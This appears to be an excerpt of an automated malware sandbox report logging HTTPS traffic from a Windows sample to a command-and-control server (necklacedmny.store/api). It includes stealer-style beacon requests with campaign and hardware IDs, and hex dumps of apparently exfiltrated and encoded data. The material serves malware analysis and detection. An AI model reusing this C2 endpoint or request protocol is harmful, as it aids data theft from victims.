2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: 43 39 7c ba bf b3 9c 8e 6a 4f da 53 3c ef c7 c1 ff 18 ab 82 7a c9 79 91 ba b0 a7 71 5a ea b5 a5 d9 2e 6d 92 f1 cf 99 49 de ad 08 c0 a7 89 d8 ea a2 87 88 45 8c 36 a9 3b a5 b2 91 13 7d c6 ea c0 b9 c8 36 9d ae bd 7a b4 d4 55 91 ee b0 8b f5 bd ca fa 1f 99 e4 fc 70 0e 5a 18 85 da 48 a0 87 de af 40 c8 b4 00 6a 5a 74 11 62 99 d8 bd a1 4f 87 7f 38 31 df 68 84 0d 77 69 50 b6 74 cd b4 4f 1a 1a 64 f1 bb f7 97 df de 78 29 4a 13 e1 b7 01 76 18 9e ae 7c 5b 9d f1 94 4c 11 48 ae 93 8d 34 aa 43 92 40 e2 18 ea dc d6 c5 b1 6a f4 7c 7c a9 46 3a 7c 47 78 e9 b1 b0 9a 5c b2 85 6d 46 02 4e 5c 6c ef 7c e1 8e 6d da 02 0a b7 b8 93 eb 4f 65 23 8f 08 1b 57 7d 5b 69 d4 0a 58 cd 6c 61 13 c2 1a b5 31 e2 e0 75 ef be 91 ac 29 09 f0 ed 7e e3 21 2c 3d f8 1a 55 5e 7e 27 10 fc 8a 1e a9 8a 34 Data Ascii: C9\|jOS<zyqZ.mIE6;}6zUpZH@jZtbO81hwiPtOdx)Jv\|[LH4C@j\|\|F:\|Gx\mFN\l\|mOe#W}[iXla1u)~!,=U^~'4
2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: 9a 16 b2 c9 ad a6 14 03 74 f2 71 46 40 0b 39 8b 74 70 cd 4c e4 06 c0 8f 91 e0 2c 77 4c 78 6b fa 35 61 9a 7a 60 8b 93 e8 d6 14 98 cd 49 21 74 8c ef 1d 68 49 c3 90 14 06 ac fb e8 8f a5 3f dd 9a 1b e4 e6 b7 97 58 18 4b 9b 21 ba 20 ad 1c 9c 97 9f 17 47 90 0d 37 bb e6 d7 18 40 e8 f5 8d 2d 64 13 ec 73 19 62 60 01 1c 97 74 51 2e 7c 68 d9 86 d5 d8 30 48 e4 d8 ac 65 a2 18 5f 7b d7 8e 90 1c 39 b7 78 2d 5e 19 3d b3 88 86 63 1e ea 42 60 5f 2a d0 44 f3 a6 2b a9 6f fc c2 c9 34 f2 b9 a8 d3 1e 32 19 c5 9c 02 f1 b4 88 b2 59 86 e9 ee 52 95 d7 1a dd 3f af a3 51 60 60 71 b5 e9 08 cc 8e 81 37 f5 31 fc e0 36 99 f6 ee bf 4d b6 9b 80 49 53 03 96 71 8e f9 93 fe 7c cc 8b 10 e3 2f aa 2e 06 d8 f1 61 b5 88 de 96 a0 20 f3 61 c4 47 64 5d 42 71 87 c4 0b e4 f1 f8 e3 52 60 ba 1e 42 34 ac Data Ascii: tqF@9tpL,wLxk5az`I!thI?XK! G7@-dsb`tQ.\|h0He_{9x-^=cB`_*D+o42YR?Q``q716MISq\|/.a aGd]BqR`B4
2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: cd f9 e7 fe ec bf 5d 9b a0 b6 75 78 0a 95 ba eb fb d0 9f a1 f2 e2 a5 80 8a 18 2c a1 ec 47 c3 a8 a8 a9 9e d3 0e 19 92 31 d4 34 d0 fa 38 6e 14 22 9b 91 a7 41 7e 23 eb 01 d5 b6 f3 8d 25 6e 4b 1c 71 7d 67 8a 06 13 15 15 fa 5a b6 55 1f 8d 5c 48 b4 25 d8 6a 9d 19 a8 b5 d6 72 89 d8 21 5a 7a 92 99 84 d4 f6 d5 f4 ff 6d 07 87 a7 08 79 0c 65 78 a3 5f cb d2 03 fa a2 04 17 74 ec 86 1e 7b ce bb 69 55 70 df 79 7e 02 7c 9e bc 62 02 45 7b ca 73 f2 dc 76 5f c0 ed 48 ab 27 00 2d 4c 08 df 6b 22 7e dc cd 16 61 24 5d 4a 7c 60 d2 8b 39 ee 63 bc 33 75 d7 e4 69 72 8a 8f fc 6b 5f 9e 23 30 c3 e6 68 92 7a d5 f3 a9 da 77 45 0b 57 09 b6 23 0d 9a b7 52 cd 6a 92 36 13 ff be 60 46 d6 40 14 cd b7 2a e5 d8 b9 01 f3 3a 63 84 c9 e0 9c 5a a6 cd 0b 46 87 68 0e eb 81 8f ab c6 26 5d c4 74 1a 7b Data Ascii: ]ux,G148n"A~#%nKq}gZU\H%jr!Zzmyex_t{iUpy~\|bE{sv_H'-Lk"~a$]J\|`9c3uirk_#0hzwEW#Rj6`F@*:cZFh&]t{
2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: 06 41 ab b6 80 f7 ec 90 4a c7 12 bc 02 9b 11 cc 3f 9d c7 1f 55 e6 e8 a9 88 9e 3b 5e a2 65 72 fe 54 3d 99 2c 84 e8 ad ad 3d 0a 1c 21 6e fe 79 7d 90 75 52 99 b9 bd db 53 4a 66 ae 0d 4a f1 12 d1 fc 37 6c 35 3c 39 cd cf 55 b3 4f b6 c8 e2 23 82 fc 08 0d 4b 22 c4 a4 73 8f 69 b7 4b 7a 3d 0a fb ad e0 c0 8b 16 08 cc e8 9a bc 63 e2 9f 21 cb 79 49 a2 55 f1 68 c5 a1 9c 39 fa 9d 89 06 41 36 6a e8 09 5b 0f d9 ed 5f d9 a2 b3 2d f4 67 bd 6e ce 1c 23 c1 73 dc d4 69 b5 c8 b0 2e ac fd 38 09 61 a2 21 50 f4 9d 32 d3 49 d8 d4 c8 cc 88 64 b8 f1 9a 3f 0b 32 7c 5e 70 07 e3 42 98 fa 4c 83 06 9a 20 f4 4b 6e 27 f3 92 85 e3 25 66 2d b4 f6 bd f7 18 4b db 70 bc 03 48 c9 08 be 16 4a 5a 42 ce ca d5 ae 69 34 89 aa cb d1 c4 e5 23 fc a0 61 61 a2 22 45 31 2b fd 71 08 ca 3d 53 00 4e 32 00 97 Data Ascii: AJ?U;^erT=,=!ny}uRSJfJ7l5<9UO#K"siKz=c!yIUh9A6j[_-gn#si.8a!P2Id?2\|^pBL Kn'%f-KpHJZBi4#aa"E1+q=SN2
2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: 38 85 c3 fe 9e 61 ac bf b9 92 4f 0b d1 3a 53 e7 1d b0 53 af a2 d1 fb 21 dd 63 f1 89 42 19 b3 3b cc 26 13 16 35 ba a2 d3 00 31 7d 56 b3 02 2a 88 a5 63 18 51 48 3f c5 51 63 89 02 08 9b 56 bd 2b de 0b 4c 5f ed 65 2e 3d 3f e6 86 24 3e f3 d0 7b f8 57 11 94 c0 4c 02 51 63 02 8e 1a 02 2f 79 b0 9b 69 0f 52 22 a9 30 e7 df db 46 df dd 44 ca 06 85 cf 42 0b 5d 00 76 44 19 24 39 3a 04 8a 5c c3 02 68 bd 4b 4c cf 44 61 c1 3d 39 66 e7 42 b8 c6 43 f3 aa 50 24 56 71 bd 6b d3 34 3a 12 15 15 1d 35 d6 31 0f 5b 19 bb 67 61 d1 41 9e 22 19 ad c2 e7 4c b1 2d 66 07 0e a7 5e 15 14 07 8f 4e 32 8c 35 04 2e a1 81 9c d2 f6 03 d1 d3 89 8c c4 e3 a4 36 44 83 fb 1d ac 60 df 0b 8e 28 48 2c 02 2d 5f 18 6b a7 41 35 4e 42 ba 2c db eb fa e1 96 43 6c 13 68 94 71 af f4 21 43 25 5a c7 b5 c8 bc d7 Data Ascii: 8aO:SS!cB;&51}V*cQH?QcV+L_e.=?$>{WLQc/yiR"0FDB]vD$9:\hKLDa=9fBCP$Vqk4:51[gaA"L-f^N25.6D`(H,-_kA5NB,Clhq!C%Z
2024-10-30 04:24:16 UTC	15331	OUT	Data Raw: 52 c7 f2 03 87 79 4b 98 41 d1 09 c2 cc de d0 a6 17 73 7f 82 8d c6 b9 bf 94 12 2b f7 54 71 3f 0e 8f ad ed 40 a3 36 6a 29 f4 e1 70 0a 77 76 6e 9c ee 96 da 44 9b 67 d3 03 2c 99 43 ca 28 6e a3 39 23 81 f2 bb 76 d8 63 62 c1 6f 2c 74 f3 3b 67 70 3d 48 25 c8 cf a4 2c 37 40 74 76 4a 84 fe e7 bd 3e 00 a5 87 52 1e 6e 7e 71 b3 df 22 58 dc 26 a7 f0 f4 38 e8 7b 7b 61 dd af fb ff 0e 7b 1d 80 32 82 16 76 81 0f 38 72 28 82 2a 71 15 db a6 05 b6 b2 d5 36 8a 8e b4 89 6d 05 42 53 85 31 65 21 7c 3e 8a 4e 1f 74 2e 92 df 61 28 2d 7f 1e d3 c8 7c cf 2d b6 96 21 93 af 04 99 5b 6f 72 ff dd b2 3b ac 6d 49 99 cf c4 03 06 7c 28 dd 5f ef 46 0a 4c f4 dd a5 ff 04 3d 16 64 3b 50 0b 77 3c 05 a4 6c b8 7b 87 67 cd 49 09 88 ba ad e9 87 08 02 0c 3c 0a fb a0 7f b6 36 3d 08 61 83 02 ce 8c de 5d Data Ascii: RyKAs+Tq?@6j)pwvnDg,C(n9#vcbo,t;gp=H%,7@tvJ>Rn~q"X&8{{a{2v8r(*q6mBS1e!\|>Nt.a(-\|-![or;mI\|(_FL=d;Pw<l{gI<6=a]
2024-10-30 04:24:18 UTC	1020	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:24:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o6qu5tr2fti1fgpmvspu2pmuj1; expires=Sat, 22 Feb 2025 22:10:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AAgrliikNDiZkESXdH6WldvLzaSZNUmZq5hAwLGHHGsMI5NN2fdRmobXOfcdRF0Plgr2UeE4DW%2FMxFVaxBZfB9875pq8bgPcGZ4Ekhd%2BJLZ5o2QfL2NkNMXKa5IAuY3%2F1dfQKMQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a27e1ee946de-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=989&sent=213&recv=596&lost=0&retrans=0&sent_bytes=2845&recv_bytes=554059&delivery_rate=2864490&cwnd=246&unsent_bytes=0&cid=59b2fa6d89907f5c&ts=2528&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49754	188.114.96.3	443	1880	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:24:19 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 04:24:19 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 41 43 31 36 30 39 38 38 42 33 36 33 42 41 31 37 37 34 30 44 39 41 34 36 38 42 41 44 32 45 46 31 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=AC160988B363BA17740D9A468BAD2EF1
2024-10-30 04:24:19 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:24:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2nfc8ipv3hccoqso6i854jqono; expires=Sat, 22 Feb 2025 22:10:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0UVI%2BgoB56Pfdfuy83h1aQamcYwMbNao7%2B9EP61l272RsbFiAo7dOtNTvUFMPvEMymsPiE6m2ixYT383tp3UoX%2FzEVR%2FeGyxedJBkMFlhX0Zoqc1XMOy8jwekglS%2BU2lVBCx2ZI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a291db7fe836-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1139&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2443881&cwnd=251&unsent_bytes=0&cid=3337ba2486bfdb34&ts=463&x=0"
2024-10-30 04:24:19 UTC	214	IN	Data Raw: 64 30 0d 0a 6e 6e 4e 6a 61 73 54 7a 77 64 58 48 63 56 49 6b 76 7a 61 35 45 51 55 44 66 72 61 2f 68 62 63 39 4a 79 79 66 77 52 4f 59 6f 33 66 46 43 45 45 66 35 73 6e 6a 76 62 4d 46 49 68 37 6a 47 65 55 2b 4e 44 74 4c 6d 49 32 30 67 68 4d 57 48 61 7a 76 49 71 37 2f 57 50 45 56 42 54 62 72 6c 36 53 7a 36 52 51 71 51 5a 30 61 6d 33 64 78 49 55 53 47 6b 36 66 53 48 78 30 63 34 75 31 6f 75 74 5a 56 70 46 45 4c 48 72 43 44 2b 34 6e 6f 4c 58 30 56 68 77 4f 58 49 7a 51 32 55 49 65 4f 74 70 6b 4d 45 58 43 77 72 48 72 32 78 69 75 78 41 51 49 45 6f 4a 79 73 2b 36 49 4a 4e 77 61 54 46 4e 39 6c 4a 7a 6c 4f 6d 70 33 67 6c 51 63 58 55 63 49 3d 0d 0a Data Ascii: d0nnNjasTzwdXHcVIkvza5EQUDfra/hbc9JyyfwROYo3fFCEEf5snjvbMFIh7jGeU+NDtLmI20ghMWHazvIq7/WPEVBTbrl6Sz6RQqQZ0am3dxIUSGk6fSHx0c4u1outZVpFELHrCD+4noLX0VhwOXIzQ2UIeOtpkMEXCwrHr2xiuxAQIEoJys+6IJNwaTFN9lJzlOmp3glQcXUcI=
2024-10-30 04:24:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49994	188.114.96.3	443	6068	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-30 04:25:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-30 04:25:20 UTC	1023	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=24a5m8n0dsa6evbgf4pho2k3cm; expires=Sat, 22 Feb 2025 22:11:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RjXSHQDsKnZnilSbEekXorNOonqK19H%2FkXV36Qyzmemb6dJnrse3ZZU1rlQy2zO%2FpMN%2Bi4Dl%2F5S%2FS9%2BSpqzJzXg3q%2BzGTrRuowmhZ%2Fh4sPNywCYc3AKs4cZVnC8TkHiUmhE2mYE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a40a7bfb6b5b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1155&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=2468883&cwnd=251&unsent_bytes=0&cid=8310665390ac4ed1&ts=755&x=0"
2024-10-30 04:25:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-30 04:25:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49998	188.114.96.3	443	6068	C:\Users\user\AppData\Local\Temp\1002535001\58ce8f976c.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 04:25:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-30 04:25:20 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-30 04:25:21 UTC	1017	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 04:25:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0jfbefg3kbs6nu73dmjveae6gq; expires=Sat, 22 Feb 2025 22:12:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FpGjk0xBPVfsZIU52Nuu9XwQztPjo6mg6nt922w6%2F419ciK%2Bc2B3Hrl5s6NSSl7LuyTYsYZ4yTbYNDzrkdz9rZ%2B01ybw66Yv7xKIkbGnj86pl3zDKPrfBgoD%2FJJ%2Fg8kcU8xE0KA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da8a411b86be8ed-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1935&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1458942&cwnd=233&unsent_bytes=0&cid=6d0bbe61fc866610&ts=470&x=0"
2024-10-30 04:25:21 UTC	352	IN	Data Raw: 31 64 38 35 0d 0a 62 48 73 49 4b 69 56 48 35 48 6e 44 4c 36 78 63 32 69 55 6c 39 37 48 57 74 61 79 42 61 2f 43 57 50 4a 39 35 36 6e 54 32 38 38 38 58 57 58 34 49 48 33 50 49 57 37 42 4b 6a 6d 61 75 56 31 43 53 6e 66 54 55 79 4b 4e 52 6c 76 64 51 37 42 7a 47 56 6f 43 65 37 56 59 64 61 55 5a 57 49 73 68 62 70 6c 65 4f 5a 6f 46 65 42 35 4c 66 39 49 2b 4f 35 41 47 53 39 31 44 39 47 49 45 62 68 70 2b 73 42 42 64 76 51 6b 41 6b 67 42 69 76 51 73 6b 35 76 30 52 50 6d 64 69 37 33 63 47 6a 52 39 4c 7a 52 72 31 44 79 44 6d 54 68 36 34 68 47 6e 74 42 42 7a 72 49 41 75 46 4b 77 6e 37 67 42 30 53 53 30 37 72 54 79 4f 6f 44 6d 50 35 59 2f 42 32 41 42 4a 2b 56 70 77 51 5a 62 45 4e 4b 4c 5a 51 56 70 55 58 43 50 37 56 45 42 39 75 54 73 38 2b 4f 75 30 6e 42 78 6c 33 73 43 Data Ascii: 1d85bHsIKiVH5HnDL6xc2iUl97HWtayBa/CWPJ956nT2888XWX4IH3PIW7BKjmauV1CSnfTUyKNRlvdQ7BzGVoCe7VYdaUZWIshbpleOZoFeB5Lf9I+O5AGS91D9GIEbhp+sBBdvQkAkgBivQsk5v0RPmdi73cGjR9LzRr1DyDmTh64hGntBBzrIAuFKwn7gB0SS07rTyOoDmP5Y/B2ABJ+VpwQZbENKLZQVpUXCP7VEB9uTs8+Ou0nBxl3sC
2024-10-30 04:25:21 UTC	1369	IN	Data Raw: 5a 47 4b 49 59 4a 71 55 62 46 4f 36 70 4d 54 70 6a 65 74 4e 72 45 37 41 71 53 38 31 54 33 46 49 49 53 6d 5a 79 72 44 68 6b 71 42 67 63 69 6e 6c 76 35 44 65 30 37 71 45 42 4c 67 35 47 4f 6c 39 47 74 45 4e 4c 7a 55 72 31 44 79 42 36 52 6b 71 34 46 46 6d 6c 41 54 44 65 47 43 61 64 41 79 79 79 2b 51 6b 6d 66 30 4b 62 64 77 4f 55 4b 6d 2f 39 58 2b 42 79 4d 56 74 72 52 71 68 5a 5a 4d 67 68 6d 4b 49 30 58 71 31 72 4f 66 71 63 4a 58 74 58 55 75 4a 65 57 6f 77 32 54 38 46 2f 35 46 59 59 53 6d 4a 65 6a 41 78 5a 73 51 6b 63 69 6a 42 4f 70 54 4d 4d 31 74 30 64 43 6d 4e 65 79 32 38 2f 6d 53 64 79 30 57 65 56 62 30 46 61 36 6c 71 34 63 57 31 39 4c 53 53 75 42 44 65 46 53 67 43 66 34 51 45 76 56 69 2f 54 5a 79 2b 77 62 6b 2b 5a 62 38 77 6d 45 45 35 4b 63 72 67 41 5a 62 Data Ascii: ZGKIYJqUbFO6pMTpjetNrE7AqS81T3FIISmZyrDhkqBgcinlv5De07qEBLg5GOl9GtENLzUr1DyB6Rkq4FFmlATDeGCadAyyy+Qkmf0KbdwOUKm/9X+ByMVtrRqhZZMghmKI0Xq1rOfqcJXtXUuJeWow2T8F/5FYYSmJejAxZsQkcijBOpTMM1t0dCmNey28/mSdy0WeVb0Fa6lq4cW19LSSuBDeFSgCf4QEvVi/TZy+wbk+Zb8wmEE5KcrgAZb
2024-10-30 04:25:21 UTC	1369	IN	Data Raw: 42 44 65 46 53 67 43 66 34 51 45 76 56 69 2f 54 62 78 2b 4d 43 6d 50 42 65 2b 68 61 4e 46 5a 4f 53 6f 41 6b 54 5a 45 39 44 4b 59 38 57 70 30 33 4a 4f 72 31 56 51 70 7a 66 75 4a 65 41 6f 77 36 4b 74 41 61 39 4e 49 38 41 6c 37 36 75 48 78 41 71 56 77 6b 38 78 68 79 74 44 5a 5a 2b 76 30 4a 50 6e 74 57 38 31 39 7a 6d 42 35 6e 31 56 50 73 61 68 52 71 53 6b 61 77 4f 48 32 5a 49 51 43 4b 55 43 61 52 4c 33 44 54 34 43 51 65 53 79 2f 53 50 6a 74 55 5a 68 65 56 49 76 79 36 4c 47 4a 71 57 75 30 34 47 4a 46 45 48 49 6f 70 62 2b 51 33 46 50 72 52 41 54 35 50 58 76 4e 6a 42 36 68 75 54 2b 46 44 76 48 49 67 66 6d 70 36 68 42 78 52 74 52 55 77 76 69 78 2b 6d 54 49 35 77 2b 45 42 66 31 59 76 30 34 64 37 75 42 62 7a 2f 55 76 52 62 6c 31 69 4e 30 61 6f 43 57 54 49 49 51 79 Data Ascii: BDeFSgCf4QEvVi/Tbx+MCmPBe+haNFZOSoAkTZE9DKY8Wp03JOr1VQpzfuJeAow6KtAa9NI8Al76uHxAqVwk8xhytDZZ+v0JPntW819zmB5n1VPsahRqSkawOH2ZIQCKUCaRL3DT4CQeSy/SPjtUZheVIvy6LGJqWu04GJFEHIopb+Q3FPrRAT5PXvNjB6huT+FDvHIgfmp6hBxRtRUwvix+mTI5w+EBf1Yv04d7uBbz/UvRbl1iN0aoCWTIIQy
2024-10-30 04:25:21 UTC	1369	IN	Data Raw: 53 63 73 37 76 45 42 44 6b 39 7a 30 6d 59 37 6b 45 64 4b 73 48 74 49 38 76 56 53 31 71 2b 30 52 56 33 4d 49 51 43 6e 47 51 2b 46 42 7a 54 4b 77 53 45 47 63 33 37 37 65 78 65 38 43 6c 76 68 58 2b 42 32 4a 45 35 47 51 71 51 49 54 62 45 74 45 4b 6f 6b 55 71 51 32 41 66 72 39 66 42 38 32 54 6b 63 44 46 37 51 2f 53 36 78 44 6b 57 34 38 61 31 4d 6e 74 41 68 42 73 54 6b 49 70 68 78 32 70 53 4d 59 36 75 55 46 42 6c 74 79 77 30 73 2f 73 44 5a 37 36 56 50 77 61 68 42 32 62 6d 71 68 4f 56 79 70 50 58 32 58 65 57 35 42 4f 32 43 6d 6f 53 77 65 4b 6e 61 32 58 79 65 39 4a 79 72 52 66 37 78 47 43 47 4a 47 65 71 41 30 57 62 55 56 42 4b 59 77 53 71 55 76 42 4e 36 70 45 53 35 76 55 75 74 76 41 37 67 4f 52 2b 52 36 7a 57 34 38 4f 31 4d 6e 74 49 68 35 6e 5a 6b 77 70 67 56 75 Data Ascii: Scs7vEBDk9z0mY7kEdKsHtI8vVS1q+0RV3MIQCnGQ+FBzTKwSEGc377exe8ClvhX+B2JE5GQqQITbEtEKokUqQ2Afr9fB82TkcDF7Q/S6xDkW48a1MntAhBsTkIphx2pSMY6uUFBltyw0s/sDZ76VPwahB2bmqhOVypPX2XeW5BO2CmoSweKna2Xye9JyrRf7xGCGJGeqA0WbUVBKYwSqUvBN6pES5vUutvA7gOR+R6zW48O1MntIh5nZkwpgVu
2024-10-30 04:25:21 UTC	1369	IN	Data Raw: 76 59 48 51 49 32 54 37 4a 66 34 35 42 6d 43 39 78 7a 4d 44 59 73 41 6e 35 79 68 54 67 59 6b 55 51 63 69 69 6c 76 35 44 63 67 78 73 55 52 49 6c 4e 71 34 32 73 76 71 44 4a 50 79 57 76 63 52 69 42 43 53 6b 4b 67 45 47 6d 74 43 54 69 4b 4f 48 4b 4a 66 6a 6e 44 34 51 46 2f 56 69 2f 54 2b 79 66 45 48 67 72 52 42 73 77 4c 49 45 5a 6a 52 39 55 34 64 59 45 64 44 49 6f 6f 64 70 45 76 44 50 37 64 47 52 35 72 58 76 39 37 49 34 67 53 58 2b 56 72 76 45 59 4d 5a 6d 4a 69 68 41 31 6b 6b 43 45 41 39 78 6b 50 68 66 4d 4d 77 74 6b 42 52 31 63 7a 36 7a 6f 37 6b 42 64 4b 73 48 76 77 58 68 78 57 62 6b 71 34 50 45 33 68 61 53 79 79 4f 48 71 31 47 77 44 69 71 51 55 69 63 30 4c 66 65 79 65 73 46 6d 50 64 5a 76 56 58 49 45 59 7a 52 39 55 34 36 66 56 68 4b 5a 5a 6c 56 75 41 33 4a Data Ascii: vYHQI2T7Jf45BmC9xzMDYsAn5yhTgYkUQciilv5DcgxsURIlNq42svqDJPyWvcRiBCSkKgEGmtCTiKOHKJfjnD4QF/Vi/T+yfEHgrRBswLIEZjR9U4dYEdDIoodpEvDP7dGR5rXv97I4gSX+VrvEYMZmJihA1kkCEA9xkPhfMMwtkBR1cz6zo7kBdKsHvwXhxWbkq4PE3haSyyOHq1GwDiqQUic0LfeyesFmPdZvVXIEYzR9U46fVhKZZlVuA3J
2024-10-30 04:25:21 UTC	1369	IN	Data Raw: 47 62 77 62 48 52 77 65 77 41 6d 2f 42 57 2f 68 75 4d 45 70 4f 55 72 67 49 53 62 55 74 49 49 59 38 56 71 45 4b 4f 63 50 68 41 58 39 57 4c 39 50 62 56 34 41 57 66 74 45 47 7a 41 73 67 52 6d 4e 48 31 54 68 56 6b 54 55 63 76 67 42 2b 6b 53 38 51 37 75 45 78 45 6d 74 65 79 30 38 48 6a 41 70 76 31 57 50 67 52 67 78 43 5a 6b 71 73 49 57 53 51 49 51 44 33 47 51 2b 46 74 31 54 4f 30 51 41 65 4b 6e 61 32 58 79 65 39 4a 79 72 52 56 38 52 2b 50 46 70 6d 53 70 51 73 64 59 45 31 48 4c 5a 51 54 6f 55 72 63 4c 4c 68 4f 51 70 6e 51 74 4e 50 49 36 67 2b 52 38 42 36 7a 57 34 38 4f 31 4d 6e 74 49 78 56 74 59 55 41 2b 78 67 54 76 56 49 34 35 74 41 63 66 31 64 4b 2f 33 63 48 75 43 70 54 33 56 66 67 52 69 52 47 63 6e 4c 38 4e 46 6d 56 4d 52 79 71 41 48 61 42 43 79 44 6d 78 52 Data Ascii: GbwbHRwewAm/BW/huMEpOUrgISbUtIIY8VqEKOcPhAX9WL9PbV4AWftEGzAsgRmNH1ThVkTUcvgB+kS8Q7uExEmtey08HjApv1WPgRgxCZkqsIWSQIQD3GQ+Ft1TO0QAeKna2Xye9JyrRV8R+PFpmSpQsdYE1HLZQToUrcLLhOQpnQtNPI6g+R8B6zW48O1MntIxVtYUA+xgTvVI45tAcf1dK/3cHuCpT3VfgRiRGcnL8NFmVMRyqAHaBCyDmxR
